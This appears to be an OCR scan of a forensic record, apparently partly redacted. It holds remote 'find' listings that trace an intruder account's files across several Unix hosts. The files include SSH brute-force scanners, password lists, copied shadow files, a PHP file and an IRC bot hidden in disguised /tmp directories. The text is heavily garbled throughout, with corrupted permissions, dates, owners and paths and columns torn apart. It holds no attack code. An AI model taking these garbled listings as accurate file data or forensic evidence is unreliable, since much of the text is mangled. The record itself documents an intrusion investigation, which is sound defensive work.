864012 8 -rwxr-xr-x 1 graff gratf 5944 May 15 2005 /tmp/\
/la/pscan2

864005 4 -rwxr-xr-x 1 graft gratf 1599 Jul 25 2008 /tmp/\
/la/plesk

864013, 8 -rw-rw-r-- 1 graff gratf 4276 Feb 11 21:31 /tmp/\

/la/scan.log

864015 4 -rw-rw-r-- 1 graff graff 822 Feb 11 21:3) /tmp/\

/la/threads

864007 4 -ywrx-xr-x 1 graff  graff 876 Mar 24 2009 /tmp/\

/la/pass

# stdout iorek

L] errchan iorek

# /usr/bin/rsh -n diorek find / jusr /var /tmp /h /dl /@2 -xdev -user

471 -1s

1832001 4 drwxrwxr-x 3 graff  qraff 4096 Feb 11 21:53 /tmp/\ .

|r1F ]
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832002 5600 -rw-ry-r--
/tase.zip

832003 4 drwxrwir-x
/tase

832035 60 -~rwxrwxr-x
/tase/male

832023 12 -rwxrwxr-x
/tase/cool.x

832028 28 -rwarwxr-x
/tase/german

832022 4 ~PUXIWXL~X
/tase/cool.2

832016 84 ~rwxrwxr-x
/tase/?

832045 8 -rwxrwxr-x
/tase/spanish

832017 8 -rwxrwir-x
/tase/8

832009 32 -rwxrwxr-x
/tase/2

832049 1364 -rwxruxr-x
/tase/sshd

832046 452 ~rwxrwxr-x
/tase/ss

832010 28 -rwxrwxr-x
/tase/3

832033 16 -zwxrwxr-x
/tase/japan

832027 4 ~IuURIWRI-%
/tase/FullScan

832021 4 -rwxrwxr-x
/tase/cool.1

. 832029 4§ ~rwxrwxr-x
/tase/index.html
832044 4 =ruxrwxr-x
/tase/setup

832041 8 -ruxtwxr-x
/tase/russian

932043 4 ~rwXruxr-x
/tase/secure

832008 4 —LW—ru~g-~
/tase/198.209. find,.22
832014 4 ~TW-rW-r--
/tase/mfu. txt .
832050 4 -rwRrwWXL-X
/tase/TASE

832012 36 ~rwxrwxr-x
/tase/S

832020 4 -rwxrwar-x
/tase/auto

832006 40 -ruwxruxr-x
/tase/1l

832007 68 -rwxrwxr-x
/tase/12.

T~ R

gratf
gratf
graff
graff
graff
graff
gratyf
graff
gxaff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
gratf
graff
gratt
graff
gratt
graft

graff

graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
grafg
graff
gragf
graff
gratf
graff
gratf
graft
graff
gratt
graff
graff
graff
graff
graff

graff

graff

5718450 Feb 10
4096 Fedb 11
53284 May 15
12249 Feb 11
25644 aug 23
1261 Aug 23
78332 May 30
5862 Aug 23
4921 May 30
28956 Jan 27
1388614 Feb 11
458068 Feb 11
27459 Jan 27
127158 Aug 23
3499 apr 20
95 aug 23

634 Apr 21

57 Jun 12
4920 Aug 23
197 Aug 23
4005 Feb 11
4005 Feb 11
2362 Jun 12
36009 Jan 27
216 May 18
36903 Apr 21
63261 Apr 21

20:39
22:08
2008
22:10
2005
2005
2006
2005
2006
2008
22:10
22:10
2008
2005
2008
2005
2008
2008
2005
2005
22:02
22:02
2008
2008
2005

2008

2006

/tmp/\
/tap/\
/tmp/\
/tmp/\
/tap/\
/tmp/\
/tap/\
ftap/\
/top/\
/emp/\
/emp/\
/tmp/\
Jtup/\
/tmp/\
/emp/\
/tmp/\

Jtmp/\

/tmp/\
/emp/\
/tmp/\
/emp/\
/tmp/\
/tmp/\
/emp/\
/tmp/\
/tmp/\

ftmp/\
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/tase/root

832004 120 -rwxrwgxr~x 1 graff graff 118199 Apr 21 2008 /tmp/\
/tase/1

832005 8 ~rwxrwxr-x 1 graff grast 57868 Apr 21 2006 /tmp/\
/tase/10

832019 832 -rwxrwxr-x 1 graff graff 846832 Feb 11 21:54 /tmp/\
/tase/atack

832024 68 -rwxrwxr-x 1 graff grast 63261 Feb 11 22:08 /tmp/\
/tase/data.conf

832013 60 -rwxrwxr-x 1 graff gratt 8326 Mar 2 2008 /tmp/\
/tase/6

832038 68 ~rwxrwxx-x 1 graff graff 63261 Feb 11 22:10 /tmp/\
/tase/pass_file
832018 28 ~rwxrwxr-x 1 graff graff 25645 May 27 2006 /tmp/\
/tase/9
832039 8 ~rwxrwxx-x 1 graff graff 5646 Aug 23 2005 /tmp/\
/tase/romanian

- 832047 896 -rwxrwxr~x 1 graff gratf 910760 Apx 20 2008 /tmp/\

/tase/sah
832042 256 -rwxrwxr-x 1 graff graff 254076 Apr 21 2008 /tmp/\
/tase/screen
832026 24 -rwxrwxr-x 1 graff gratt 20854 Aug 23 2005 /tmp/\
/tase/french .
832011 S6 ~rwxrwxr-x 1 graff graft 50250 Jan 27 2008 /top/\
/tase/4
832061 60 -rwxrwxr-x 1 graff graff 54703 Apr 20 2008 /tmp/\
/tase/tase.conf
832052 28 -rwxrwxr-x 1 graff graff 24999 Ang 23 2005 /tmp/\
/tase/usere
032037 64 -~rwxrwxr-x 1 graff graff 58498 Apr 20 2008 /tmp/\
/tase/pass.txt
632048 832 -xwxrwxrc-x 1 graff  graff 846832 Feb 11 03:29 /tap/\
/tase/ssh-scan
032040 28 -rwxrwxr-x 1 graff grafg 26857 Aug 23 2005 /top/\
/tase/root
832036 2980 -rwxrwxr-x 1 graff graff 3043493 Feb 11 01:13 /tmp/\
/tase/orto.zip
832025 20 ~rwxrwxr-x 1 graff graff 19825 Feb 11°03:26 /tmp/\
/tase/tind
# stdout
iotacga2
§ erxchan
iotacfa2 :
® /usr/bin/rsh -n iotacfa? find / /usr /var /tmp /h'/dl /d2 -xdev -user
471 -1s

64001 4 drwxrwxr-x 3 graff gratf 4096 Feb 11 21:48 /tmp/\

64003 4 drwxrwxr-x 2 graff graft 4096 Feb 12 08326 /tmp/\
/tase

64016 84 ~xrwxrwxr-x 1 graff graff 78332 May 30 2006 /twp/\
/tase/? .

64038 68 ~xrwxrwxr-x 1 graff graff 63261 Feb 12 08:17 /tmp/\
/tase/pass_file

64040 28 -rwxrwxr~x 1 graff graff 26857 Aug 23 2005 /tmp/\
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64026 24 -ruxrwxr-x
/tase/french

64021 4 -YWRYWRL-%
/tasa/cool.1

640468 832 ~rwXrwxr-x
/tase/ssh~scan

64046 452 ~rwrrwxr-x
/tase/ss

64020 4 ~LWAIWRr-x
/tase/auto

54010 28 -rwxrwxr-x
/tase/3

64027 4 ~TWXTWXC-X
/tase/FullScan

54008 0 ~TW=-TW=L=~~
/tase/155,136.£find. 22
64037 64 ~rwxrwxr-x
/tase/pass.txt

64050 4 ~rwxrwxr-x
/tase/TASE

64014 32 ~rw-rw-r--

/tase/84.19.find.22
64022 4 =CWXIWXT=X
/tase/cool.2

64039 § —rwRrwxr-x
. ftase/romanian

64035 60 ~rwxrwrr=x
/tase/male

64025 20 =rwxrwxr-x
/tase/find

64024 28 ~TuUXRIZWXT=X
/tase/data.conf

64042 256 ~rwxrwxr=x
/tase/screen

64004 120 ~rwxrwxr-x
/tase/1 i
64045 8 =rwxrwxr-x
/tase/spanish

64033 16 =rwxrwxr-a
/tase/japan

64052 2B -rwxrwxr-x
/tase/usere .
64028 28 ~ruxIwWKXr=x
/tase/german

64041 8 =FWXITWXr=X
/tase/russian

64023 12 ~rwxrwxr=x
/tase/cool.x

64017 B ~rwxrwxr—x
/tase/8

64030 32 -rw-rw-r--
/tase/ip.conf

64011 56 =rwxIwir-x
/tase/4

O e e R

[¥]

graff
graftf
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graftf
graff
gratf
graff
graff
gratt
graff
graff
graff
graff
graff
graff

gralf

graff
graff
graff
gratf
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
graff
gratt
graff
graff

graff

20854
95
846832
456068
216
27459
3499
0
58498
2362
31200
1261
5646
53284
19825
27459

" 254076

118199
5862
12758
24992
25644
4920
12248
4921
31200
50250

Aug
Aug
Feb
Feb
Nay
Jan
Apr
Feb
Apr
Jun
Feb
hug
Aug
May
Feb
Feb
Feb
Apr
Aug
Aug
Aug
Aug
Aug
Feb
May
Feb

Jan

23
23
12
12
18
27
20
12
20
12
12
23
23
15
12
12
12
21
23
23
23
23
23
12
30
12
27

2005 /tmp/\
2005 /tmp/\
09:16 /tmp/\
09:16 /tap/\
2005 /twmp/\
2008 /tmp/\
2008 /tmp/\
07:55 /tmp/\
2008 /tmp/\
2008 /tmp/\
08126 /tmp/\
2005 /tmp/\
2005 /tmp/\
2005 /tmp/\
09:16 /tmp/\
09:15 /tmp/\
09:16 /tmp/\
2008 /tmp/\
2005 /tmp/\
2005 /emp/\
2005 /tmp/\
2005 /tmp/\
2005 /tmp/\
09:16 /tmp/\
2006 /twmp/\
08326 /tmp/\
2008 /tmp/\
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64006 40 ~rwxrwxr-x 1 graff graff 36903 Apr 21 2006 /tmp/\
/tase/ll

64044 4 -rwxrwxr-x 1 gratf graff 57 Jun 12 2008 /tmp/\
/tase/setup

64009 32 ~ywxrwrr-x 1 graff graff 28956 Jan 27 2008 /tap/\
ftase/2

64036 2980 -rwxrwxr-x 1 graff graff 3043493 Feb 11 01:13 /tmp/\
/tase/orto.zip
1

64018 28 -rwxrwxr-x graff graff 25645 May 27 2006 /tap/\
/tase/9

64019 032 -rwrrwxr-x 1 graff graff 846832 Feb 11 03:26 /tmp/\
/tase/atack

64049 1364 -rwxrwxr-x 1 graff graff 1388614 Feb 11 03:29 /tmp/\
/tase/sshd

64043 4 -rwxrwxr-x 1 gragf graff 197 Aug 23 2005 /tmp/\
/tase/secure

64047 096 —rwrrwxr-x" 1 graff graff 910760 Apr 20 2008 /tmp/\
/tase/ash

64051 60 -rwxrwxr-x 1 graff graff 54703 Apr 20 2008 /tmp/\
/tase/tase,conf

64029 4 -rwrrwxr-x 1 gqraff  graff 634 Apr 21 2008 /tmp/\
/tase/index. htnl

64005 8 ~rwxrwxr-x 1 graff gqraft 5788 Apr 21 2006 /tmp/\
/tase/10

64013 60 -rwxrwxr-x 1 graff gratf 55326 Mar 2 2008 /tmp/\
/tase/é

64007 68 -rwxrwxr-x 1 graff graft 63261 Apr 21 2006 /tuwp/\
/tase/12

64012 36 ~rwxrwxr-x 1 graff graff 36009 Jan 27 2008 /tmp/\
/tase/S

64002 5600 ~rw~rw-r-~ 1 graff graff 5718450 Feb 10 20:39 /tmp/\
[tase.zip
# - stdout isildux
& —-- errchan isildur

% /usr/bin/rsh -n isildur find / /usr fvar /tmp /h /dl /d2 -xdev -user
471 ~l1s

11088004 & drwxr-xz-x 3 graff  graff 4096 Apr 4 2009
/var/tap/.bash_profile

1088005 4 -ry-y--r-- 1 graff graff 34 Peb 11 19:50
/var/tmp/ .bash_profile/LinkEvents

1088026 0 -rw-x--x-- 1 graff graft 0 Apr 4 2009
/ver/tmp/.bash_profile/sor.seen

1088025 4 -ruxrwxr-x 1 gratf graff 3084 Apr 4 2009
/vaz/tmp/.bash_profile/kswap.set

1088023 ¢ -rw-r--r-- 1 graff graff 0 apr 4 2009
/var/tmp/.bash_profile/sor3_.seen

1088021 24 -r-xr-xx-x 1 graff graft 22936 Feb .10 2005
/var/tmp/.bash_profile/kswap.help

1088012 4 drwxr-xr-x 2 graff gratff 4096 apr 4 2009
/var/twp/.bash_profile/randfiles

1088018 4 ~p-=g--x-- -1 graff graff 633 Feb 10 2005
/var/twp/.bash_profile/randfiles/randsignoff.e

1088020 4 ~pm=y--x-— 1 graff graff 3982 Feb 10 2005

/vax/tmp/.bash_gtofile/randfiles/randinsult.e

‘ m
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1088014 4 ~r--r--r-- 1 graff graff 2495 Feb 10 2005
/var/tmp/.bash_profile/randfiles/randpickup.e

1088013 4 ~r=~y=~x=-- 1 graff graft 1465 Feb 10 2005
/var/tmp/.bash_profile/randfiles/randversions.e

1088015 4 -x--r--r-- 1 graff graff 519 Feb 10 2005
/var/tmp/.bash_profile/randfiles/randnicks.e

1088017 60 -x--z--r-- 1 graff graff 55316 Feb 10 2005
/var/tmp/.bash_profile/randfiles/randsay.e

1088016 4 -¢--y--r-- 1 graff graff 830 Feb 10 2005
/var/tmp/.bash_profile/randfilea/randkicks.e

1088019 8 -r--r--r-- 1 graff graff 5195 Feb 10 2005
/vaxr/tmp/.pash_profile/randfiles/randaway.e

1088022 0 ~xw-r--g-- 1 graff graff 0 Apr 4 2009
/var/tmp/.bash_profile/sor2.seen

10868024 4 ~ruxrwxr~-x 1 graff graff 84 Apr 2 2009
/vaxr/tmp/.bash profile/mechl.users

1088007 4 ~rwxrwxr-x 1 graff gratf 84 Apr 4 2009
/var/tmp/.bash _profile/mech3.users

1088008 4 -rwxrwxr-x 1 graff graff 84 Apr 4 2008
/var/tmp/.bash_profile/mech2,users

1088009 4 ~y-xr-xr-x 1 graff graff 6 Aug S 2005
/var/tmp/.bash_profile/kswap.pid

1088006 496 -r-xr-xr-x 1 graff graff 500368 May.22 2006
/var/tmp/.bash_profile/inetd

1088010 4 =rw-r--r-- 1 graff graff 1084 Feb 11 21:00
/var/tnmp/.bash_profile/kswap.session

1088011 {4 ~r-xr-xr-x 1 graff graff 1085 Aug 9 2005

/var/tmp/.bash_profile/kswap.levels
# stdout karma

# - -— errchan karma
# /usr/bin/rsh -n karma find / /usr /var /tmp /h /dl /42 -xdev -user
471 -1s

96012 4 ~rw-rw-r~- 1 graff graff 2671 Feb 11 21:06
/tmp/blockpage.cgitws-gession=2416092679
L] stdout maxacas
8 -— - errchan maracas
§ /usr/bin/rsh -n maracas £ind / /usr /var /tmp /h /dl /d2 -xdev ~user
471 -1s

2448001 4 drwx——-~—-- 2 graft gratf 4096 Feb 12 08:13
/tmp/nasc

448007 4 -xw~-rw-r-- 1 graff graft 24 Feb 12 07:59
/tmp/nasc/pass_file
448005 160 ~-rwxr—-xr-x 1 graff graff 178908 Jun 15 2005
/tmp/nasc/pico

448003 828 -ruxr-xr-x 1 graff graff 842736 Nov 24 2004
/tmp/nasc/ssh-scan

448006 4 -yw-rw-r-- 1 graff graff 36 Feb 12 08:13
/tnp/nase/vuln. txt

448002 4 ~xwx------ 1 graff graff 596 May 1 2005
/tmp/nasc/start

448004 24 ~rwx------ 1 graff graff 21407 Jul 21 2004
/tmp/nasc/pscan2

96001 724 -rw-rw-r-- 1 graff graff 7372080 Feb 12 08:15

/tmp/w.tgz
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480001 4 drwx——=---- 2 graff
480010 0 -rw-rw-r-- 1 graff
/tmp/w/192.shadow

480005 4 -tw-r~-r~~ 1 graff
/tup/w/19.2.shadow

480007 0 ~xw-r=--r-- 1 graff
/tmp/w/79.22 . pacan. 10000

480006 4 -rwg--x——x 1 graff

/tmp/w/w.php
480008 . 16 -rwx--x--x 1 graff

/tmp/w/ps

480004 696 -rw-r--r-- 1 graff
/top/w/lost

480003 4 -pw-r--r~-- 1 graff
/tmp/w/79.3.shadow

480002 4§ -rux--gx--x 1 graff
/tmp/w/scan :
L

graff
graff

graff
graff
graff
graff
graff
graff

graff

4096 Peb 12 08:25 /tmp/w

0 Feb 12 08:25
790 Mar 8 2007
0 Mar 8 2007

' 1162 Aug 14 2006
13408 Mar 8 2007
707576 Mar 8 2007

1297 Mar 8 2007
388 Feb 18 2007

stdout mars

errchan mars

737280 Feb 12 0B:22

4096 Feb 12 08:23 /tap/w
13408 Mar 8 2007

1162 Aug 14 2006
388 Feb 18 2007
790 Mar 8 2007

0 Mar B 2007
1297 Mar 8 2007

707576 Mar 8 2007

0 Feb 12 08:23
stdout melkor

arrchan melkor

4096 Feb 11 20:04
0 Apr 4 2009
84 Apr 4 2009
1084 Fedb 11 21:00

#

# /usr/bin/rxsh -n mars find / /usr /var /tmp /h /dl /d2
~-1ls

96011 724 ~rw~-rw-r-- 1 graff graff
/tap/v.tgz

736004 4 druxeec—-- 2 graff graff
736012 16 ~-rwx--x--x 1 graff graft
/tmp/w/ps

736009 4 ~gux~--x--x 1 graft graff
/tmp/w/u.php
736005 4 ~rwx--x--x 1 graft gratf
/tmp/w/scan

736008 4 ~rw~r-~z-- 1 graff graff
/tmp/w/19.2.shadow
736010 0 ~-rwer~-r-- 1 graff graft
/tmp/w/19.22 . pscan.10000

736006 4 ~rw-r~-r-- 1 graff graff
/Jtmp/w/79.3. ahadow
736007 696 -rw-r--r-- 1 graff graff
/tap/w/lost
736012 0 -rw~rw-r-~- 1 graff graff
/tnp/w/67.pacan.10000
:

# /usr/bin/rsh -n melkor find / /usr /var /tmp /b /dl /d2 -xdev -user
171 -1s
288001 4 drwxr-xr-x 4 graff graff
/tmp/.bash_profile

288020 0 «rw-r--r-- 1 graff graff
/tep/ . bash_profile/sor3_.eeen

288005 4 -rwxrwxr-x 1 graff graff
/tmp/ . bash_profile/mech2.users
268007 4 -rw-r--r-- 1 graff graff
/tmp/.bash_profile/kswap.session

288019 0 -tw-r--r~-- 1 graff graft

/tmp/.bash_profile/sor2.seen

0 apr 4 2008
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288008 4 -r-xr-xx-x 1 graff graff
/tmp/.bash profile/kswap.lavels

288025 4 drwxr-xr-x 2 graff gratt
/tmp/ .bash_profile/linuxteam

2868046 8 -rwxr-xr-x 1 graft graff
/top/ bash_profile/linuxteam/a2

288047 4 ~Twxr-xr-x 1 graff graff
/tup/.bash_profile/linuxteam/a

288040 4 -rwxr-xr-x 1 graff graff
/tap/.bash_profile/linuxteam/pass_filees
288035 828 -rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/sshf

288029 204 -rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/pass_file
288038 24 ~rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxtean/pscan2
288045 4 ~puxr-ar-x 1 graff gratf
/tmp/ .bash_profile/linuxteam/a3

288028 0 =rwer--y-- 1 graff graff
/twp/.bash_profile/linuxteam/94.0,pscan.22
28803% 172 -rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/pice

288041 4 ~rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/go.sh

288030 16 -rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/$8.8.pscan.22
268034 4 -rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/start

268026 0 -YWer--r-- 1 graff graff

/tmp/.bash_profile/linuxteam/211.2.pscan.22

288044 4 -rwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/auto

208037 448 ~rwxr-xr-x 1 gratf graff
/twp/ .bash_profile/linuxteam/ss

286032 0 -rw-r--xr-- 1 graff graff
/tmp/ .bash_profile/linuxteawn/,0.pacan.22
2868033 4 -rwxr~xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/vuln.txt
288043 24 =-gwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/common
288024 8 -rwerw~r-~ 1 graff graff
/twp/.bash_profile/linuxteam/41.pscan.22
286042 4 -~rwxr-xx-x 1 graff graff
/twp/.bash_profile/linuxteam/gen-pass.sh
288048 8 ~rwerw-r-= 1 graff graff
/tmp/.bash_profile/linuxteam/mfu. txt
288036 828 -gwxr-xr-x 1 graff graff
/tmp/.bash_profile/linuxteam/ssh-scan
208027 0 ~xw-r~~r-~ 1 graff graft

/tmp/.bash_profile/linuxteam/210.1.pscan.22

268031 4 -rwrr-xr-x 1 graff graft
/tmp/ . bash_profile/linuxteam/old

208022 4 -xwxrwxr-x 1 graff graff
/tmp/ . bash_profile/kswap.set

1085
4096
4734
366
2270
842424
202701
21407
832

. 0
167964
92
16348
3957

0

206
453972
0

2844
22354
7068
265
7068
842736
0

2417
2948

Aug 9 2005
Feb 11 20:17
Nov 24 2005
Feb 7 17:52
May 26 2005
Sep 6 2004
Feb 8 06:49
Jul 21 2004
Nov 24 2005
Feb 8 06:52
Mar 16 2001

o

Apr 2005

Feb

05:55
Nov 24 200S
Feb 8 07:25
Jul 21 2004
Jul 12 2004
Feb 8 01:52
Feb 8 04:44
Dec 1 2004
Feb 11 20:17
Nov 24 2004
Feb 11 20:17
Nov 24 2004
Feb 8 07:17
May 26 200§

feb 11 20:01
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288002 4 ~rw-r--r-- 1 graff graff 34 Feb 11 20:01
/tmp/.bash_profile/LinkEvents

288023 0 -rw-r--r-- 1 graff graff 0 Apr 4 2009
/tmp/.bash_profile/sor.seen

288004 4 -rwXrwxr-x 1 graff graff 84 Apr 4 2009
/tmp/ .bash_profile/mech3.users

288006 4 -r-xr-xr-x 1 graff graff 6 Aug 5 2005
/tmp/.bash_profile/kswap.pid

286018 24 -r-xr-xr-x 1 graff graff 22936 Feb 10 2005
/tmp/.bash_profile/kswap.help

288021 4 -rwxrwxr-x 1 graff graff 84 Apr 4 2009
/tmp/.bash_profile/mechl.users

288009 4 drwxr-xr-x 2 graff graff 4096 Apr 4 2009
/tmp/.bash_profile/randfiles

288010 4 -r--r--r-- 1 graff graff 1465 Feb 10 2005
/tmp/ .bash_profile/randfiles/randversions.e
288017 4 -r--r--r-- 1 graftf graff 3982 Feb 10 2005
/tmp/.bash_profile/randfiles/randinsult.e
288012 q -y--r--r-- 1 graff graff 519 Feb 10 2005
/tmp/ .bash_profile/randfiles/randnicks.e
288014 60 -xr--r--r-- 1 graff graff 55316 Feb 10 2005
/tmp/.bash_profile/randfiles/randsay.e
288011 4 -r--r—-r-- 1 graff graff 2495 Feb 10 2005
/tmp/ .bash_profile/randfiles/randpickup.e
288016 8 -r--r--r-- 1 graff graff 5195 Feb 10 2005
/tmp/.bash_profile/randfiles/randaway.e

288013 4 -r--r--r-- 1 graff graff 830 Feb 10 2005
/tmp/.bash_profile/randfiles/randkicks.e
288015 4 -r--r--r-- 1 graff graff 633 Feb 10 2005
/tmp/ .bash_profile/randfiles/randsignoff.e

288003 496 -r-xr-xr-x 1 graff graff 500368 May 22 2006
/tmp/ .bash_profile/inetd

96003 3868 -rw-rw-r-- 1 graff graff 3955936 Feb 11 19:59
/tmp/KNOPPIX_V4.0.ZDVD—2005-09-23-DE.180
# stdout
(b)(6),(L)7X(

| o mememe—em———emee——————msmo——ooSssoosesSSSmmoooT errchan
(b)(8),(b)(7)

# /usr/bin/rsh -n (b)(B).(0X7) lgind / /usr /var /tmp /h /dl /d2 -xdev -user
471 ~-1s

480001 4 drwxrwxr-x 3 graff graff 4096 Feb 12 07:58 /tmp/\
480002 5600 -rw-rw-r-- 1 graff graff 5718450 Feb 10 20:39 /tmp/\
/tase.zip

480003 4 drwxrwxr-x 2 graff graff 4096 Feb 12 08:58 /tmp/\
/tase

480040 28 -rwxrwxr-x 1 graff graff 26857 Aug 23 2005 /tmp/\
/tase/root

480009 32 -rwxrwxr-x 1 graff graff 28956 Jan 27 2008 /tmp/\
/tase/2

480042 256 -rwxrwxr-x 1 graff graff 254076 Feb 12 09:17 /tmp/\
/tase/screen

480014 12 -rw-rw-r-- 1 graff graff 11237 Feb 12 08:17 /tmp/\

/tase/mfu. txt
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480041 8 =rwxrwxr-x
/tase/xrussian

480029 4 ~rWXIWXI=X
/tase/index.html
480027 4 ~TURIWAL-X
/tase/fullScan

480028 24 -rwxrwxr-x
/tase/french

480035 60 ~rwxrwxr-x
/tase/male
480052 28
/tase/usere
480049 1364
/tase/sshd
480033 16 ~rwxrwxr—x
/tase/japan

480025 20 -rwxrwxe-x
/tase/find

480013 60 ~rwxrwxr-~xX
/tase/6
480005 8
/tase/10
480036 2980 ~rwWwxrwxr-x
/tase/orto.zip

480028 28 -ruxrwxr-x
/tase/german

480044 4 -YWXYwWXr-x
/tase/setup

480021 4 —YWXXWXr-x
/tase/cool.l

490048 832 -rwxXrwxr-x
/tase/ssh-scan

480004 120 ~rwxrwxr-x

~IWXLWXX X

=EWRIWXE ~X

=FWKEWXE~X

/tase/l
480017 8 -XYWRrwxr-x
/tase/8
480038 68 ~rwxrwxr-x

/tase/pass_file

480037 64 -ruxrwxr-x
/tase/pass, txt
480024 68 -~LwWXrwxr-x

/tase/data.conf

480010 28 -rwXrWXL-X
/tase/3

480045 B8 ~rwxrwxr-x
/tase/spanish

480011 56 =rwxrwxr-x
/tase/d

480051 60 -rwrwxr-x
/tase/tase.conf

480039 8 -rwXIWXIr-X
/tase/romanian

480006 40 -ruxrwxr-x
/tase/1l

-

[

-

T

gratf
graff
graft
graft
graff
graff
graff
graff
graff
graff
graft
graff
graff
graff
graff
graff
graff
graff
graft
graff
graff
gr;It
graft
graff
gratf
graff
graff

graff
graff
graff
graff
graff
grarf
graff
graff
graff
gratf
graff
graft
graff
graft
gratf
graft
graff
graff
graff
graf?f
graft
graft
graff
graff
graff
graff
graff

4920 aug
634 Apr
3499 Apr
20854 Aug
53284 May
24993 Aug
1388614 Feb
12758 Aug
19825 Feb
55326 Mar
5788 Apr
3043493 Feb
25644 Aug
57 Jun

9% Aug

' 846832 Feb

118199 Apr

4921 May
63261 Feb
58498 Apr
63261 Feb
27459 Jan

5862 Aug
50250 Jan
54703 Apr

5646 aug
36903 Aprx

23

12
23
12
21
30
12
20
12
27
23
21
20
23
21

2005 /tmp/\
2008 /tmp/\
2008 /tmp/\
2005 /tmp/\
2005 /tmp/\
/tmp/\
09:17 /tmp/\

2005

2005 /top/\
09:17 /tmp/\
2008 /tmp/\
2006 /tmp/\
01:13 /tmp/\
2005 /tmp/\
2008 /tmp/\
2005 /tmp/\
08:50 /tmp/\
2008 /tup/\
2006 /tmp/\
09:16 /tmp/\
femp/\
08:50 /tmp/\
/tap/\
/tap/\
2008 /tmp/\
2008 /tmp/\

2008

2008
2005

2005 /twp/\
2006 /tmp/\
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480047 896 -rwxrwxr-x 1 graff graff 910760 Apr 20 20080 /tmp/\
/tase/ssh

480022 4 -rwxrwxr-x 1 graff graftf 1261 Aug 23 2005 /tmp/\
/tase/caool.2

480018 28 -rwxrwir-x 1 graff graft 25645 May 27 2006 /tmp/\
/tase/9

480007 68 -rwxrwxr-x 1 graff graff 63261 Apr 21 2006 /tmp/\
/tase/12

480023 12 -rwxrwxr-x 1 graff graff 12248 Feb 11 03:26 /tamp/\
/tase/cool . x

480019 632 -rwxrwxr-x 1 graff graff 046832 Feb 11 03:26 /tump/\
/tase/atack

480016 64 -rwxrwxr-x 1 graff grast 78332 May 30 2006 /tup/\
/tase/?

480046 452 ~rwxrwxr-x 1 graff graff 458068 Apxr 20 2008 ftmp/\
/tase/as

480043 4 -rwxrwxr-x 1 graff graff 197 Aug 23 200S /tmp/\
/tase/secure

480050 4 =ruwxruxr-x 1 graft graff 2362 Jun 12 2008 /tmp/\
/tase/TASE .

480008 12 -rw-rw-r-- 1 graff  graff 11237 Feb 12 08:17 /tmp/\
/tasa/81,.209.find. 22

480012 36 -rwxrwxr-x 1 graff graft 36009 Jan 27 2008 /tmp/\
/tasa/8 :
480020 4 -rwxrwxr-x 1 graff graff 216 May 18 2005 /tmp/\
/tase/auto .

' stdout pisces
L4 errchan pisces

$ /usr/bin/rsh -n pisces find / /usr /var /twp /h /dl /d2 -xdev -user
‘471 ~1s

640059 4 drws—==~-- 2 graff graff 4096 Feb 12 03:20
/vax/run/screen/S-graff

640060 0 prux-—-—-=- 1 graff  graff 0 FPeb 12 07:54
/vaz/run/screen/S-graff/21082.pts-8.pisces

% stdout snail
$ -— - -- exrchan snail

# /usr/bin/rsh -n snail find / fusr /var /tmp /h /dl /d2 -xdev -user
. 471 -1s ’

800001 § drwxrwxr-x 3 graff graff 4096 Feb 11 21:55 /tep/\
800003 4 drwxrwxr-x 2 graff graff 4096 Feb 12 08:30 /tmp/\
/tase

800044 4 -pwxrwxr-x 1 graff graff 87 Jun 12 2008 /tmp/\
/tase/setup

800045 8 —rwxrwer-x 1 graff gzaff 5862 Aug 23 2005 /tmp/\
/tase/spanish '

800024 120 -rwxrwxr-x 1 graff graff 118199 Feb 12 08:30 /tmp/\
/tase/data.conf

800008 60 -rw-rw-r-- 1 graff graff 54494 Feb 12 08:30 /tmp/\
/tase/83,.169.find.22

800048 832 -rwxrwxr-x 1 graff graff 846832 Fed 12 08:17 /tmp/\
/tase/ssh-scan

800046 452 =-rwxrwxr-x 1 graff graff 458068 Feb 12 08:30 /twp/\

/tase/ss
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800027 4 ~IWXTWXX~X
/tase/FullScan

800033 16 ~rwxruxr-x
/tase/japan

800041 8 -LWXTWXI-X
/tase/russian

800013 60 ~-rwxrwxr-x
/tase/6

800052 28 -rwxTLWRr-X
/tase/usere

800051 60 -rwxrwxr-x
/tase/tase.conf

800043 4 ~TUXTWXE=X
/tase/secure

800050 4 ~rwxrwxr-x
/tase/TASE

800021 4§ ~LWXIwWxr-x
/tase/cool.1

800010 28 -rwxrwxr-x
/tase/3

800004 120 -rwxrwxr-x
/tase/1

800036 2980 -rwxrwxr-x
/tase/oxto.zip

800015 60 ~rw-rw-r--
/tase/ip.conf

800028 20 -rwRIrwEr-Xx
/tase/german

800020 4 ~IWXrwxr-x
/tase/auto

800047, 896 ~rwxrwxr-x
/tase/ssh

800037 64 -rwxrwxr-x
/tase/pass, txt

800025 20 ~rwxrwxr-x
/tase/find .
800012 36 ~IrwWXIwRr-Xx
/tase/S

800018 28 =rwxrwxr-x
Jtase/9

800007 68 -rwxrwxr-x
/tase/12

800023 12 -rwxrwxr-x
/tase/cool.x

800038 68 -rwarwxr-x
/tase/pasa_file

800040 28 ~rwXrwxr=x
/tase/root

800042 256 —rwxrwir-x
/tase/screen

800006 40 -rwxrwxr-x
/tasel/ll

800005 8 ~rwuxrwxr-x
/tase/10

-

e

graft
gratf
qgraff
gratf
graff
gratt
graff
graff
graff
graff
graff
gratt
graft
graff
graft
graff
graff
graff
graff
graff
graff
graff
graff
graft
graft
graff

graff

graff
gratt
graff
graff
grafg
graff
graff
graff
graff
gratf
graff
graff
graff
graff
gratf
graff
graff
graff
graff
graft
graff
graff
graff
graff
graff
graff

graff

3499 Apr 20

12758 Aug 23

4920 Aug 23

55326 Mar 2

24999
54703
197
2362
95
27459
118199
3043493
54494
25644
216
910760
58498
19825
36009
25645
63261
12248
63261
26857
254076
36903
5768

Aug
Apx
Aug
Jun
Aug
Jan
Apr
Feb
Feb
Aug
May
